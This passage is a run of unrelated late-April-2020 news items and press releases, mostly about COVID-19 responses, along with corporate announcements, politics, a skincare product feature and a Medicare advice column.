guided-missile cruiser Princeton; guided-missile destroyers John Paul Jones, Sterett and Ralph Johnson; Destroyer Squadron 9; and Carrier Air Wing 17. Every member of the strike group will be tested for COVID-19 before getting underway and will spend at least two weeks quarantined, Navy officials said. -- Gina Harkins can be reached at gina.harkins@military.com. Follow her on Twitter @ginaaharkins. Read more: Navy Cancels Carrier Homecoming Plans Amid Coronavirus Pandemic Source: Xinhua| 2020-04-28 16:12:28|Editor: huaxia Video Player Close BEIJING, April 28 (Xinhua) -- As of Monday, no deaths of the novel coronavirus disease (COVID-19) had been reported on the Chinese mainland for 13 consecutive days, a health official said here Tuesday. The overall confirmed cases on the mainland had reached 82,836, and 4,633 people had died of the disease by Monday, said Mi Feng, a spokesperson for the National Health Commission at a press conference. Monday also saw the biggest number of the discharged imported cases in a single day, said Mi. According to the commission, the total number of imported cases on the mainland reached 1,639 on Monday, of which 1,087 had been discharged from hospitals after recovery. Enditem UPPSALA, Sweden, April 28, 2020 /PRNewswire/ -- IAR Systems, the future-proof supplier of software tools and services for embedded development, is today proud to announce its further expansion in Asia with the opening of an office in India. Since many years, IAR Systems has served companies in India with high-performance tools and services by its strategy of channel sales with local partners. With the opening of an office in India, IAR Systems strengthens its presence in the area to meet today's increasing market demands as well as future potential with recent years' major product launches in security, services, safety and code quality. In collaboration with established distributors, IAR Systems will now be able to serve its customers in India on a closer and larger scale. "India is well-known for its many development companies and centers, and during the last couple of years we have seen a growing demand for our offering on the market," comments Stefan Skarin, CEO and President, IAR Systems. "We started 2020 with opening of an office in Taiwan, and I now look forward to extend our operations even further with the opening of IAR Systems in India." "Thanks to our long-standing and well-established industry relations, we've been able to serve embedded developers in India with high-performance tools for many years," says Fanny Nordlof, recently appointed Country Manager India, IAR Systems. "I am excited to work closer with our customers in India, and I am thrilled to expand our relations with local and global companies as well as take advantage of future market potential." The IAR Systems office in India is scheduled to start its business in Q3 2020. Editor's Note: IAR Systems, IAR Embedded Workbench, Embedded Trust, C-Trust, IAR Connect, C-SPY, C-RUN, C-STAT, IAR Visual State, IAR KickStart Kit, I-jet, I-jet Trace, I-scope, IAR Academy, IAR, and the logotype of IAR Systems are trademarks or registered trademarks owned by IAR Systems AB. All other product names are trademarks of their respective owners. CONTACT: IAR Systems Contacts AnnaMaria Tahlen Content & Media Relations Manager, IAR Systems Tel: +46-18-16-78-00 Email: [email protected] Tora Fridholm CMO, IAR Systems Tel: +46-18-16-78-00 Email: [email protected] This information was brought to you by Cision http://news.cision.com https://news.cision.com/iar-systems/r/iar-systems-opens-office-in-india,c3097929 The following files are available for download: SOURCE IAR Systems Thousands of nurses and other health care workers from across the country called on the federal government Tuesday to investigate what they called their employers' mishandling of the coronavirus outbreak, their union said. The workers, who are members of the American Federation of Teachers, filed 40 complaints with the Occupational Safety and Health Administration alleging that hospitals were forcing them to work with defective equipment and to ration masks and gowns, the union said in a news release. The hospitals are "placing workers at grave risk of infection and death from the coronavirus," the union said. Full coverage of the coronavirus outbreak The complaints represent more than 20,000 workers from 40 union locals, union spokesman Andrew Crook said. The locals are in 10 states, the union said Alaska, Connecticut, Maryland, Montana, New Jersey, New York, Ohio, Oregon, West Virginia and Wisconsin. About 9,300 health care workers have been infected with the coronavirus, the union said, citing estimates from the Centers for Disease Control and Prevention. The complaints were filed amid widespread objections from nurses over their hospitals' responses to the pandemic. In New York last week, a nurses union filed multiple lawsuits accusing the state and two hospitals of "grossly inadequate and negligent protections." Earlier this month, HCA Healthcare nurses in Kentucky, Texas, Florida and other states protested the company's "lack of preparedness" and shortages of personal protective equipment. The union said Tuesday that workers had been given defective equipment and were forced to ration masks and gowns. Cleaning staff at one hospital weren't told when a room had a patient with COVID-19 in it. In another case, hospital management refused to allow employees to wear protective masks. "We deserve to be safe at work so we can do our job caring for patients, but the hospital failed me, my co-workers and the community," said a nurse, Nara Owens, who said she became sick with the disease while working in a unit that was meant for non-COVID-19 patients. Story continues After she tested positive for the disease, she said, she was told by the hospital's human resources department to file for unemployment insurance. In a statement to NBC News, Owen's employer, Hillside Rehabilitation Hospital in Warren, Ohio, called the safety of its patients and employees "a top priority." The statement said its workers have been properly trained and provided protective equipment, and it said the hospital continues to follow federal coronavirus guidelines. OSHA did not immediately respond to a request for comment. Download the NBC News app for full coverage and alerts about the coronavirus outbreak The union said the agency has no rules that force employers to protect workers from infectious diseases. It urged lawmakers to support a House bill that would force OSHA to require employers to implement emergency protections within one week. The bill, the COVID-19 Every Worker Protection Act of 2020, would also require the government to track and investigate coronavirus infections and ban retaliation against health care workers who report infection control problems. The union's president, Randi Weingarten, said it is "immoral" that the agency is "refusing to issue and enforce guidelines" to protect health care workers and their patients. Michelle Obama is picking up where her memoir Becoming left off in a new documentary premiering on Netflix on 6 May. The movie, created by the Obama-backed production company Higher Ground, shares the title of the former first ladys memoir published in 2018 and includes some of the same stories recounted in the book. However, it also gives people a look into Obamas life since the books release, including the months spent on the road for her book tour. I treasure the memories and that sense of connection now more than ever, she writes on Instagram, reflecting on life before the coronavirus. Those months I spent travelingmeeting and connecting with people in cities across the globedrove home the idea that what we share in common is deep and real and cant be messed with, Obama writes in her announcement on Monday. In groups large and small, young and old, unique and united, we came together and shared stories, filling those spaces with our joys, worries, and dreams. We processed the past and imagined a better future. In talking about the idea of becoming, many of us dared to say our hopes out loud. Read more: Everything coming to Netflix in May Obama went on to explain the meaning of the connection that she felt during those times. And more importantly, how it allowed her to make others feel secure. Im a hugger. My whole life, Ive seen it as the most natural and equalising gesture one human can make toward another, she writes. The easiest way of saying, Im here for you. Former U.S. President Barack Obama and his wife Michelle close the Obama Foundation Summit, 2019. (Scott Olson/Getty Images) During the uncertainty of the coronavirus pandemic and what Obama refers to as our new reality, this form of connection is no longer, along with other simple things. Things that once felt simplegoing to see a friend, sitting with someone who is hurting, embracing someone neware now not simple at all, she writes. But Im here for you. Obama is ready to release her documentary, directed by Bronx-native cinematographer Nadia Hallgren, in the hopes that the visual story will lend an outlet for people struggling during this time. Lets use it to redirect our attention toward what matters most, and find ways to better remake the world in the image of our hopes, she writes. Even in hard times, our stories help cement our values and strengthen our connections. Sharing them shows us the way forward. I love and miss you all. South Korean top officials on Tuesday reiterated the government's stance that there is no unusual sign regarding North Korean leader Kim Jong Un's health. North Korean leader Kim Jong Un's prolonged public absence has led to rumors of ill health. The rumours have led to worries about how it could influence the future of what one analyst calls Northeast Asia's Achilles heel, a reference to the North's belligerence and unpredictable nature. In a parliamentary meeting, South Korean Unification Minister Kim Yeon-chul said the North Korean state media continues to report news that suggest Kim is handling state affairs normally. "So far it is considered that there is no unusual movement in North Korea," said South Korean Foreign Minister Kang Kyung-wha, also speaking at the meeting in Seoul. The exact state of Kim's health matters because it could determine the stability of the dynastic government in Pyongyang and the security of nuclear weapons that the nation has repeatedly threatened to use on its neighbors and the United States. CHICAGO, April 28, 2020 /PRNewswire/ -- CNA Financial Corporation (NYSE: CNA) will report first quarter 2020 results before the market opens on Monday, May 4, 2020. The news release, earnings presentation and financial supplement will be available on CNA's website at www.cna.com. A conference call for investors and analysts is scheduled for 10 a.m. ET and will be hosted by Dino E. Robusto, Chairman & Chief Executive Officer of CNA Financial Corporation. A live webcast will be available via the Investor Relations section of www.cna.com. Those interested in participating in the question and answer session should dial (800) 289-0571, or for international callers, +1 (720) 543-0206. An online replay will also be available on CNA's website following the call. About CNA CNA is one of the largest U.S. commercial property and casualty insurance companies. CNA provides a broad range of standard and specialized property and casualty insurance products and services for businesses and professionals in the U.S., Canada and Europe, backed by 120 years of experience and more than $45 billion of assets. For more information about CNA, visit our website at www.cna.com. Follow CNA (NYSE: CNA) on: Facebook | Twitter | LinkedIn | YouTube Press Contacts Brandon Davis CNA [email protected] 312-822-5885 CNA Newsroom [email protected] 312-822-5167 Analyst Contact Al Miralles CNA [email protected] 312-822-5605 SOURCE CNA Financial Corporation Related Links http://www.cna.com Starting this week, the Delhi government is planning to allow patients with mild symptoms of coronavirus (Covid-19) to home-quarantine themselves as the number of cases continues to rise in the Capital. On Tuesday, the number of cases in Delhi spiked by 206, with 3,314 cases recorded in total. According to Central government guidelines, a person with mild symptoms will be allowed home quarantine only if he/she has proper facilities to allow for self-isolation, if a caregiver is available throughout, who will keep in touch with the nearby Covid-19 hospital, and the patient agrees to monitor the health condition and report to the district surveillance officer. What we have seen is that a major chunk of the Covid-19 cases are asymptomatic or have very mild symptoms. The Central government has now issued guidelines for allowing such people to remain at home. Delhi will also start implementing this in the next couple of days, a senior official of Delhis health department said. Of the 2,182 active cases those still with the infection 788 are admitted to Covid Care Centres, with such mild symptoms. The home quarantine will not be allowed for patients who have co-morbid conditions like diabetes, hypertension, heart or kidney diseases. This will not be allowed for the low-income group as well, those who might be living with several family members and will not be able to maintain isolation effectively, the official said. However, healthcare workers and district officers working on the ground said this will be a massive challenge. It is impossible to assess someones condition on the phone; a physical check is necessary at least two times a day. We simply do not have the manpower to let a doctor check on every patient twice a day, even if we have just 50 such cases in a district. Also, the progression of the disease is sudden and might require immediate medical attention. In such cases, we cannot wait for the person to call us and then wait for an ambulance to reach a hospital, a district health official said. A senior district official said that the biggest challenge will be keeping a check on positive cases and ensuring they dont violate the home-quarantine norms. Another issue, officials say, is that this can be done largely in middle-class and upper-middle-class neighbourhoods. While the district authorities were informed about the decision on Tuesday, officials said it will take a day or two to implement the new guidelines, as necessary surveillance measures, guidelines for patients and other protocols have to put in place. Most districts are currently using the Home Quarantine mobile application, which was first used in south Delhi, to keep a check on suspected Covid cases. We are going to use the same mobile application to track Covid positive cases now. In the app, we have a facility to track the movement of the patient. Our teams often ask them to send a selfie just to ensure that they are in their rooms, a senior official said. The app has been in use for around 15 days now. Another issue with the new scheme is the management of waste generated at the residences of positive cases. Delhi government officials say that it has to be treated as biomedical waste. The three civic agencies have deployed dedicated teams in each municipal zone to collect and dispose of waste from home of suspected patients and dispose of it at designated centres. Residents welfare associations in the city say that it will be a huge risk and many will oppose it. The governments decision is likely to meet RWA resistance, but the ground reality is such that it is inevitable. Those who can afford to pay would like to be in a setup that has a basic minimum standard, which is woefully lacking in centres like Narela and Bakkarwala, as per the reports, and private hospitals charging a bomb in the absence of any government diktat on standardisation of treatment cost, said Rajiv Kakria, convener of Save Our City campaign. Current protocol At present, if a person tests positive, they are sent to designated Covid hospitals, care centres and health centres, depending on the severity of symptoms. Currently, a Covid-19 positive patient with no or mild flu-like symptoms is sent to one of eight the Covid Care Centres in the city, depending on the patients location and availability at the centre. Those with moderate symptoms are sent to the two Covid Health Centres. A decision is taken by the districts medical team after a home visit to check on the patient. If a patient wants to go for a private facility, then they are referred to the three designated Covid hospitals Ganga Ram, Indraprastha Apollo and Max Hospital in Saket. They will have to pay directly to the hospital, said a senior Delhi government official, who is a part of the medical team that visits positive cases and decides on the severity. Although the Delhi government has tied-up with private hospitals for paid quarantine in some districts, these are not operational. Residents said that the Delhi government should come out with a list of low-cost paid facilities. Not everyone has a big house and has rooms with attached bathrooms. People wouldnt like to put their family members at risk and would like to shift to a quarantine facility, but not the government-run ones. The Delhi government should tie-up with guest houses where one could avail of the facilities by paying 500- 1,000 per day, said BS Vohra, president of East Delhi RWAs joint front. Gang members are secured during a police operation at Izalco jail during a 24-hour lockdown ordered by El Salvador's President Nayib Bukele in Izalco, El Salvador, in a photo released on April 25, 2020. (El Salvador Presidency/Handout via Reuters) Photos Emerge as El Salvador Enforces Lockdown on Jailed Gang Members After Surge in Murders Photos from El Salvador show hundreds of jailed gang members forced together as part of tougher measures against gangs, after the country reported a surge in murders over the weekend. The photos were posted on the Twitter account of President Nayib Bukeles office, after he ordered a 24-hour lockdown of all prisons holding gang members. The photos show police officers in riot gear supervising rows and rows of gang members, including those from the notorious MS-13, sitting tightly packed together with hands behind their backs. Gang members are secured during a police operation at Izalco jail during a 24-hour lockdown ordered by El Salvadors President Nayib Bukele in Izalco, El Salvador, on April 25, 2020. (El Salvador Presidency/Handout via Reuters) Gang members are secured during a police operation at Izalco jail during a 24-hour lockdown in Izalco, El Salvador, on April 25, 2020. (El Salvador Presidency/Handout via Reuters) Gang members are secured during a police operation at Izalco jail during a 24-hour lockdown in Izalco, El Salvador, on April 25, 2020. (El Salvador Presidency/Handout via Reuters) Bukeles lockdown order was prompted after a surge in violence in El Salvador, with police having registered 24 homicides on Friday and another 29 murders by late Sunday afternoon. Fridays toll marked the worst one-day toll in the country since the Bukele took office in June 2019. On Sunday, Bukele authorized police and the military to exercise lethal force against gang members to punish violence amid the CCP virus pandemic. We are going to make sure the gang members who committed these killings regret having made this decision for the rest of their lives, Bukele told his security cabinet on Monday. Authorities attribute the spate of the killings of civilians and some gang members to the gangs seeking to show their strength, Reuters reported. Some arrests have been made but nobody has been tried. The El Salvadoran president said that gangs were taking advantage of the fact that security forces were busy helping to contain the outbreak of the CCP (Chinese Communist Party) virus, also known as the novel coronavirus. The police and armed forces must prioritize safeguarding their lives, those of their companions and of honest citizens. The use of lethal force is authorized in self-defense or in defense of the lives of Salvadorans, Bukele said. Gang members are secured during a police operation at Izalco jail during a 24-hour lockdown in Izalco, El Salvador, on April 25, 2020. (El Salvador Presidency/Handout via Reuters) Gang members are secured during a police operation at Izalco jail during a 24-hour lockdown in Izalco, El Salvador, on April 25, 2020. (El Salvador Presidency/Handout via Reuters) Gang members are secured during a police operation at Izalco jail during a 24-hour lockdown in Izalco, El Salvador, on April 25, 2020. (El Salvador Presidency/Handout via Reuters) Gang members are secured during a police operation at Izalco jail during a 24-hour lockdown in Izalco, El Salvador, on April 25, 2020. (El Salvador Presidency/Handout via Reuters) Bukele wrote late on Friday on Twitter that gang members will go into solitary confinement, and that the maximum emergency lockdown will be enforced while police investigate the spike in murders. No contact with the outside world. Shops will remain closed and all activities are suspended until further notice, Bukele wrote. Gang leaders will go into solitary confinement. Bukeles government over the weekend also carried out searches in at least five prisons. He also ordered members of rival gangs to stay in shared cells, as part of efforts to stop communication between members of the same gangs. From now on, all the gang cells in our country will remain sealed. They will no longer be able to see outside the cell, Bukele said. This will prevent them from using signs to communicate with the hallway. They will be inside, in the dark, with their friends from the other gangs. El Salvadoran prison authorities said there are about 12,862 gang members incarcerated in the country. Reuters contributed to this report. Read More El Salvadors Bukele Authorizes Use of Lethal Force Against Gangs The Nova Scotia government has activated a roster of psychologists to help address the mental health challenges facing the province's weary population. Hey there, time traveller! This article was published 28/4/2020 (624 days ago), so information in it may no longer be current. A couple pays their respects at a roadblock in Portapique, N.S. on Wednesday, April 22, 2020. An exhausted population in Nova Scotia is facing mental health challenges that the province's largest health authority is assembling special teams to help address. THE CANADIAN PRESS/Andrew Vaughan The Nova Scotia government has activated a roster of psychologists to help address the mental health challenges facing the province's weary population. In a release Tuesday, the Nova Scotia Health Authority said people can call in to a free service set up by the Association of Psychologists of Nova Scotia to talk about their distress over the recent mass shooting that left 22 people dead. The agency is opening a special phone line as of Wednesday to allow Nova Scotians to talk about their difficulties and ways of coping with the tragedy amid the COVID-19 shutdown. Many residents of the province already appeared to be struggling with stress prior to the shootings. In a national survey conducted before the killings, the Angus Reid Institute noted that of 53 Nova Scotians included, more than half said "worry" was the best word to describe the emotion they're feeling the most. Dean Perry, a clinical psychologist at St. Martha's Regional Hospital in Antigonish, said more than 50 psychologists will be available to provide assistance through the service set up by his association's post-disaster committee. He said the hope is that people who are in need of immediate help access the service, and those needing further care could be given a referral. "The design (of the service) is to have people who are affected by the tragedy to be stabilized and to have their immediate needs and concerns looked at," Perry said. Dr. Robert Strang, Nova Scotia's chief medical officer of health, said officials are aware of the challenges posed to both physical and mental health by the dual "stressors" of the shootings and the COVID-19 restrictions. "We are actively looking at opening up perhaps, people's options to being outdoors more," said Strang. However, he didn't specifically indicate how soon that might happen. Strang said it could still be weeks before any restrictions are lifted, and even when they are, people will have to follow basic requirements to limit the size of social gatherings. People who knew those killed in the shooting say it has been difficult to cope with the loss, particularly in isolation. Jane Andrews, whose cousin Joey Webber was murdered by Gabriel Wortman on Sunday in Shubenacadie, said the shooting has intensified anxious emotions that were already present due to the provincial shutdown. Even prior to the shooting, the 65-year-old retiree said she often felt exhausted, although she hadn't been physically active, and had periods of uncontrolled crying. "Then came this horrendous massacre in our province. This was my breaking point. I screamed, I ranted, I raged. I looked up and challenged God: 'Why? When will enough be enough? If youre testing me, God, I've failed,'" said the resident of Hubbards. Alec Gratto, the younger brother of Jamie Blair a mother of two young boys killed along with her husband Greg Blair at their home in Portapique said he is aware of the kind of mental distress Nova Scotians are feeling and urged people to seek help. "I went through mental health (services) years ago, and it was beneficial. Just make a phone call ... and start talking," he said in an interview. The grief in Portapique, the coastal community where the murder spree started late April 18, can be felt across the Bay of Fundy in the small community of West Gore, said resident Kathy Didkowsky. When word got around that there was a shooter on the loose on the morning of April 19, Didkowsky said she struggled to work the lock on her door, because it had been so long since she felt the need to use it. The rampage ended later that day when the killer was fatally shot by police in Enfield, N.S., after a 13-hour manhunt through central and northern communities. While she never met the victims of the massacre, Didkowsky said they still feel like "family," given the shared way of life that connects villages across Nova Scotia. She said that rural quietude seems to be under threat following shootings. "Nothing has prepared us for this," said Didkowsky, 70. Tanya Sharpe, an associate professor at University of Toronto's school of social work, said this shows how the trauma of deadly violence can ripple through a community. In the wake of tragedy, Sharpe said many people need to collectively mourn the loss of a perceived sense of normalcy, often finding ways to come together in an effort to rebuild. But as COVID-19 has prohibited typical forms of social support, Sharpe expects many will see prolonged symptoms of grief, and said mental health workers need to prepare accordingly. "It is so fundamental for service providers to have both a short-term crisis intervention plan to help, as well as a long-term (plan)," said Sharpe. Want to get a head start on your day? Get the days breaking stories, weather forecast, and more sent straight to your inbox every weekday morning. Sign Up I agree to the Terms and Conditions, Cookie and Privacy Policies, and CASL agreement. The Nova Scotia Health Authority said in its release that anyone can call 902-422-9183, from 9 a.m. to 3 p.m., Monday to Friday, to arrange a support session with a psychologist within 48 hours. Psychologists will offer their expertise, free of charge, via online video conference or by telephone, due to COVID-19 restrictions. by Michael Tutton in Halifax and Adina Bresge in Toronto, with files from Keith Doucette in Halifax. This report by The Canadian Press was first published April 28, 2020. Also on the web: https://www.nshealth.ca/content/online-mental-health-services Kayode Fayemi, Ekiti state governor has said all political appointees salaries in the state should be slashed by 50 percent. The order was given by the governor in a statement signed by the Commissioner for Information and Values Orientation, Muyiwa Olumilua, on Tuesday. Fayemi said the decision was taken due to the impact of COVID-19 in Ekiti State. The global economy has been severely affected and has affected Nigerias economy as a nation and unexpectedly, Ekiti. As a responsive and responsible government, we have taken stock of our financial situation, he said. He noted that himself and his deputy will take the lead in the salary reduction. However, the salary cut will not affect civil servants in the state. The 50 percent cut from the salaries of appointees, will be channelled into the execution and completion of developmental projects. Ekiti State currently has eight COVID-19 cases, five active cases, one death and two discharged persons. Share this post with your Friends on Alabama Gov. Kay Ivey didnt go far enough Tuesday in reopening the states economy, U.S. Rep. Mo Brooks said, and the state shouldnt whine about the consequences continuing to restrict restaurants and bars and expect bailouts from the federal government. Brooks, who last week described the states stay-at-home order as a nanny state in calling for the state to immediately reopen the vast majority of its economy, sounded his protests in a seven-part Twitter thread that went point-by-point in the latest order formally issued by state health officer Dr. Scott Harris. Twice in the Twitter thread, Brooks said the government shouldnt pick "winners and losers" which he said was the result of restrictions that remain in place for restaurants and retailers. 1/7 .@GovernorKayIvey - I have examined new Ivey #coronavirus #shutdown order. Parts that trust Alabama citizens with liberty & freedom are GREAT! Other parts? Hmmmm. #ReopenAlabama! P1 is a recommendation, so fine. P2 quarantines #COVID19 patients, so fine. Mo Brooks (@RepMoBrooks) April 28, 2020 As Alabama seeks to rekindle its economy, the new order which goes into effect Thursday continues to forbid restaurants to operate beyond takeout orders. Retailers must also not exceed 50 percent capacity for customers. "Restaurants should have the FREEDOM to decide how to best protect customers & customers should have the freedom to choose," Brooks said on Twitter. Two other members of Alabama's congressional delegation posted Twitter messages Thursday afternoon following the latest orders from the state health officer. Rep. Robert Aderholt, R-Haleyville, said the new order is a "solid step in the right direction for Alabama." The new Safer at Home order is a solid step in the right direction for Alabama. I am happy that @GovernorKayIvey loosened some restrictions on recreation, business, and health care services. I am hopeful that this new order will bring positive results for our state. pic.twitter.com/VHFH0qekzL Robert_Aderholt (@Robert_Aderholt) April 28, 2020 And Rep. Martha Roby, R-Montgomery, said she was grateful for Iveys measured approach. I'm grateful for @GovernorKayIvey's measured approach to reopen Alabama's economy. The new "Safer at Home" guidelines prioritize the health & safety of all Alabamians, which is a critical component in the process to return to our daily routines. Rep. Martha Roby (@RepMarthaRoby) April 28, 2020 In his Twitter thread, Brooks also called for state government to "compensate every citizen for all losses suffered" if those losses are the result of the restrictions. "Govt should NOT pick winners & losers," Brooks said on Twitter. "In a free society, citizens do that!" In the last Twitter message of the thread, Brooks said, "BOTTOM LINE: If STATE GOVT deprives citizens of God-given, hard-earned freedom & right to earn a living, STATE should COMPENSATE EVERY CITIZEN FOR ALL LOSSES SUFFERED! State: dont whine for & rely on feds for bailouts. USA bankruptcy hurts ALL!" Brooks criticisms perhaps should be expected, given the stance he expressed last week. In releasing his committee's recommendations on reopening the economy at Ivey's request that called for an immediate removal of all government restrictions on businesses without additional orders. Brooks has also been highlighting businesses in his north Alabama district over the past week that have struggled due to the shelter-at-home order that did not permit hospitals to perform elective surgeries. Including in those Twitter stories were social media posts about the practices of Dr. Mike Brown and Dr. Eric Janssen, who were both on the 14-member committee Brooks put together to make recommendations to the governor. While hospitals have absorbed financial losses in efforts to secure needed supplies to prepare for a surge in coronavirus patients needing hospitalization, the lucrative revenue stream of elective surgeries had been cutoff as hospitals braced for the worst of the pandemic. "ABOUT TIME hospitals & doctors & patients are TRUSTED with health care decisions!" Brooks said on Twitter. "Too many ill went untreated & WAY TOO MUCH financial & health care damage done under prior Ivey, overly-broad, shutdown order." Brooks also protested the clause in the order that, while reopening all retail businesses, restricts those businesses to allow only 50 percent occupancy. The restriction, "drives up retailer costs & consumer prices while P7 shuts down so-called high risk businesses. Give businesses freedom to decide how to best protect customers & TRUST CUSTOMERS to use, or not. Govt should NOT pick winners & losers!" There were aspects of the latest order with which Brooks agreed. That included reopening Alabama's beaches, which the congressman addressed simply as "SMART!" He also agreed that the state should have the final decision on public schools, which have been closed until August. As for private schools that are not under the jurisdiction of the state department of education, though, Brooks said "CITIZENS should be TRUSTED" to make those decisions. On maintaining restrictions of no gatherings of more than 10 people, Brooks said the language in the order was "ambiguous." If it bars family gatherings of 10 or more, then bad, Brooks said. Families should be trusted. Mondays Hale County Commissioner was routine and short. The commissioners met in-person at the Hale County Courthouse and streamed its meeting on YouTube. Funeral Announcements A daily list of current funeral annoucements as heard on KXRA 1490 AM/100.3 FM News Updates The daily news, sports, and events delivered daily from Voice of Alexandria. Sports Update This current sports headlines delivered daily from Voice of Alexandria. Upcoming Events This email is the events of the area delivered daily from Voice of Alexandria. Breaking News The big news. Sent only as it happens. Two hundred and fifty years ago this week, so the story goes, Captain James Cook and his men arrived at what he would rename Botany Bay, fought two Indigenous men and took one of their shields back to Britain, where it is still held at the British Museum. The Gweagal Shield. Credit:The Trustees of the British Museum In 2017, a year after Indigenous descendent asked for the artefact to be returned, the museum edited the Gweagal Shields display plaque to say its provenance was merely suggested, but not confirmed. The waters were now sufficiently muddied that any repatriation claim would be even more complicated. The ongoing debate over the Gweagal Shield is one of dozens of examples in a new book by British-Australian art historian Alice Procter, The Whole Story, illustrating how even the subtlest decision can have lasting and powerful effects on how we read and understand history and how hard it is for institutions to shake their pasts. Museums have been built on the idea that they hold a complete history of the world, says Procter. A best-selling lotion that's made from mushrooms is flying off the shelves every eight seconds worldwide. The Dr Andrew Weil for Origins Mega-Mushroom Relief and Resilience Soothing Treatment Lotion is designed to boost hydration levels, soothe the skin, visibly reduce redness and enhance a natural glow. According to Dr Weil, who teamed up with Origins to create the Mega-Mushroom range, fungi have been used to improve skin health in countries like Asia for many years. 'Research results demonstrate that a variety of these traditional mushrooms possess anti-bacterial, anti-viral and immune-enhancing properties,' Dr Weil told Glamour. The lightweight treatment lotion is Origins' best-selling product and is priced at $56 from Mecca in Australia. Mushrooms are a key ingredient in the Dr Andrew Weil for Origins Mega-Mushroom Relief and Resilience Soothing Treatment Lotion which is so popular it sells every eight seconds internationally The product is designed to boost hydration levels, soothe the skin, visibly reduce redness and enhance a natural glow 'Studies on several unique mushroom species show promising anti-inflammatory effects, and the topical use of anti-inflammatory mushrooms may help protect skin against damage from environmental stressors,' he said. In addition to the 'mega mushrooms', the product is enriched with other superfood ingredients, including reishi to reduce skin inflammation, fermented chaga as another anti-inflammatory, coprinus mushrooms and sea buckthorn to boost hydration by up to 83 per cent. Similarly to a toner, the lotion should be used in the second step of a skincare routine after a cleanser and before a moisturiser. 'Research results demonstrate that a variety of these traditional mushrooms possess anti-bacterial, anti-viral and immune-enhancing properties,' Dr Weil told Glamour The lightweight treatment lotion is Origins best-selling product and is priced at $56 from Mecca in Australia The product is particularly popular in Asia because the reishi mushroom ingredient is traditionally known as the 'mushroom of immortality'. And the coprinus mushroom, known as the 'Fairy Princess Mushroom' is praised for helping combat against stress lines. The lotion has received an average of 4.5 starts out of five on the Origins website, and the mega-mushroom range consists of 15 products with bundle packages available online. The lotion has received an average of 4.5 starts out of five on the Origins website, and the mega-mushroom range consists of 15 products with bundle packages available 'I've bought this lotion twice for myself and four more for everyone in my family. There's no any problems [for] anyone and we all have sensitive skin types,' one customer wrote online. 'This is one of my favourite Origins product, I use it morning and night. It is great for my sensitive skin and works as described,' another said. While majority of the online reviews seemed positive, a few rated the product one out of five stars and said it made their skin feel irritated. CIOE 2020 consists of 6 sub-expos including Information and Communication Expo, Precision Optics, Lens & Camera Module Expo, Infrared Applications Expo, Lasers Technology & Intelligent Manufacturing Expo, Optoelectronic Sensor Expo and Photonics Innovation Expo . With moving to the new venue, CIOE 2020 will be organized in a clearer floor plan with nicer facilities, which will absolutely increase buyers' sourcing experience for the latest optoelectronic components, devices and equipment in a high-efficiency way. INFORMATION AND COMMUNICATION EXPO (HALL 4/6/8) The latest announced national strategy "New Infrastructure" gives momentum to the rapid growth of 5G construction, large data centers, AI and IoT. CIOE 2020 gathers over 800 exhibitors in the entire supply chain of information and communication, such as HISILICON, YOFC, MACOM, eoptolink, MITSUBISHI, II-VI, SCHOTT, Accelink, Hisense Broadband, InnoLight, etc. It showcases products including cloud data center, wireless communications, communication system equipment, optical component and module, optical fiber & cable, fiber sensing, test and measurement device, manufacturing system equipment, broadcasting and telecommunication equipment and accessories. PRECISION OPTICS, LENS & CAMERA MODULE EXPO (HALL 3/5/7) China has been well known as the major manufacturing country by contributing more than 1/3 of the world's shipment volumes. CIOE 2020 presents the entire optics ecosystem with the dramatically increasing demands on precision optics products in the blooming applications such as smart phones, autonomous driving, robots, drones, AR/VR, industry 4.0 and biophotonics. It's featured by 850+ leading optics companies including Sunny, Phenix, FOCtek, LCE-Optics, DESAY, Panasonic, BRUKER, CORNING, Nikon, FANUC, CDGM, etc. INFRARED APPLICATIONS EXPO (HALL 1) Due to the outbreak of COVID-19 around the world, the tremendous demands on IR products and technologies stimulate fast industry development and evolution. CIOE 2020 attracts leading infrared players like HIKVISION, Thorlabs, Thales, LYNRED, Dali, SAT, JIR, GUIDE Infrared, Newport, IRAY, Ophir to showcase their cutting-edge infrared products and technologies including IR temperature detection and thermopile temperature sensing which plays the key role against COVID-19 fighting. LASERS TECHNOLOGY & INTELLIGENT MANUFACTURING EXPO (HALL 2) 200+ leading laser brands such as Trumpf, Han's Laser, Hymson, Raycus, JPT, MKT, BWT, Maxphotonics, KEYENCE, HGTECH will present topnotch lasers, laser components, devices and equipment at CIOE 2020. Besides, Lithuania Pavilion will make their debut here displaying world's advanced laser technologies. OPTOELECTRONIC SENSOR EXPO (HALL 2) CIOE 2020 is the ideal sourcing platform for buyers from the application fields of consumer electronics, Industrial Automation, IIoT, Machine Vision, ADAS and Advanced Manufacturing to source sensing components and devices including optical fiber sensors, LiDAR, 3D sensing, vision sensors, etc. PHOTONICS INNOVATION EXPO (HALL 1) As the premium platform gathering famous national research institutes and universities, incubators, CIOE 2020 demonstrates China's leading research and development achievements. Innovative products in biophotonics, new photonics materials, information optoelectronic technology, intelligent manufacturing and robot, AR&VR and more connects you to the future market trends. CIOE 2020 will be your must-attend event for optoelectronics products to source products, find suppliers, meet partners and collect insightful market information. Register now for free admission to the better organized CIOE. SOURCE CIOE Related Links http://www.cioe.cn Morning, Toni: I read your recent article about COVID-19 and Medicare and recently my husband has contacted this terrible virus. He has been in ICU due to his delicate health issues because he is an insulin dependent diabetic with heart issues. Doctors are suggesting that he may need 24-hour care since his lungs are failing. I am concerned that his current health issues may wipe out our retirement, 401K, or savings if a long-term care need arises. Can you please explain how Medicare covers a long-term care issue such as one that my husband has and what will happen if 24-hour care is needed? Thanks, Paula from Sugar Land. Paula: Baby Boomers and retirees are concerned about a prolonged illness or chronic conditions such as COVID-19 being one of their biggest retirement expenses, if not planned properly. Ones medical needs will be covered by Medicare Part A (in-patient hospital) and Medicare Part B (medical) for Medicare medical needs. COVID-19 as well as other health issues such as diabetes, heart issues, cancer, etc. which meet Medicares medical requirements are covered. Medicare will not pay more for one health condition than Medicare will for another. Medicare Part A covers skilled nursing and pays for a maximum of 100 days of skilled nursing care before those on Medicare must absorb the cost themselves. Because Medicare is controlling healthcare costs, most Medicare beneficiaries are receiving $0 co-pays for days 1-20 in a skilled nursing facility and days 21-100 is a $176 per day co-pay for 2020. Medicare does not pay for long-term care. It is private pay or by a long-term care policy that may not pay all the long-term care expenses. A long-term care can be very costly with the average annual cost ranges from $60,000 to $85,000 per year for semi-private nursing home stay to $80,000 to $93,000 per year for private nursing home stay. However, depending on the level of assistance that you need, there are some inexpensive care options and ways to protect your retirement from excessive long-term care costs. Long-term insurance plans are based on ones health at time that the application is issued. Paula, hopefully your husband already has a policy in effect due to his health 